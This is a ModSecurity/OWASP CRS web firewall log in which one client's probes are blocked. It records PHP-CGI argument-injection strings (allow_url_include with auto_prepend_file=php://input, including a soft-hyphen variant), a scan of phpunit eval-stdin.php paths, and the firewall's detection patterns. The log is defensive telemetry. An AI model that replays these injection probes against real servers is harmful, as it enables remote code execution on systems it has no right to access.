[Tue Oct 27 01:44:56.965047 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auA6WNu7k0W31xV3RUIMoAAAAAw"]
[Tue Oct 27 01:44:56.965328 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auA6WNu7k0W31xV3RUIMoAAAAAw"]
[Tue Oct 27 01:44:57.237369 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMoQAAAAw"]
[Tue Oct 27 01:44:57.237493 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMoQAAAAw"]
[Tue Oct 27 01:44:57.238049 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMoQAAAAw"]
[Tue Oct 27 01:44:57.238388 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMoQAAAAw"]
[Tue Oct 27 01:44:57.445193 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auA6Wdu7k0W31xV3RUIMogAAAAw"]
[Tue Oct 27 01:44:57.445269 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auA6Wdu7k0W31xV3RUIMogAAAAw"]
[Tue Oct 27 01:44:57.445744 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auA6Wdu7k0W31xV3RUIMogAAAAw"]
[Tue Oct 27 01:44:57.446107 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "auA6Wdu7k0W31xV3RUIMogAAAAw"]
[Tue Oct 27 01:44:57.671856 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMowAAAAw"]
[Tue Oct 27 01:44:57.671972 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMowAAAAw"]
[Tue Oct 27 01:44:57.686912 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMowAAAAw"]
[Tue Oct 27 01:44:57.687258 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auA6Wdu7k0W31xV3RUIMowAAAAw"]
[Tue Oct 27 01:44:57.919053 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Wdu7k0W31xV3RUIMpAAAAAw"]
[Tue Oct 27 01:44:57.919502 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Wdu7k0W31xV3RUIMpAAAAAw"]
[Tue Oct 27 01:44:57.919808 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Wdu7k0W31xV3RUIMpAAAAAw"]
[Tue Oct 27 01:44:58.169899 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpQAAAAw"]
[Tue Oct 27 01:44:58.170550 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpQAAAAw"]
[Tue Oct 27 01:44:58.171033 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpQAAAAw"]
[Tue Oct 27 01:44:58.404489 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpgAAAAw"]
[Tue Oct 27 01:44:58.405027 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpgAAAAw"]
[Tue Oct 27 01:44:58.405310 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpgAAAAw"]
[Tue Oct 27 01:44:58.633782 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpwAAAAw"]
[Tue Oct 27 01:44:58.634307 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpwAAAAw"]
[Tue Oct 27 01:44:58.634586 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMpwAAAAw"]
[Tue Oct 27 01:44:58.869101 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMqAAAAAw"]
[Tue Oct 27 01:44:58.869593 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMqAAAAAw"]
[Tue Oct 27 01:44:58.869920 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMqAAAAAw"]
[Tue Oct 27 01:44:58.870008 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMqAAAAAw"]
[Tue Oct 27 01:44:58.870027 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "auA6Wtu7k0W31xV3RUIMqAAAAAw"]
[Tue Oct 27 01:44:59.112089 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqQAAAAw"]
[Tue Oct 27 01:44:59.112437 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqQAAAAw"]
[Tue Oct 27 01:44:59.112724 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqQAAAAw"]
[Tue Oct 27 01:44:59.329741 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqgAAAAw"]
[Tue Oct 27 01:44:59.330197 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqgAAAAw"]
[Tue Oct 27 01:44:59.330544 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqgAAAAw"]
[Tue Oct 27 01:44:59.554207 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqwAAAAw"]
[Tue Oct 27 01:44:59.554635 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auA6W9u7k0W31xV3RUIMqwAAAAw"]
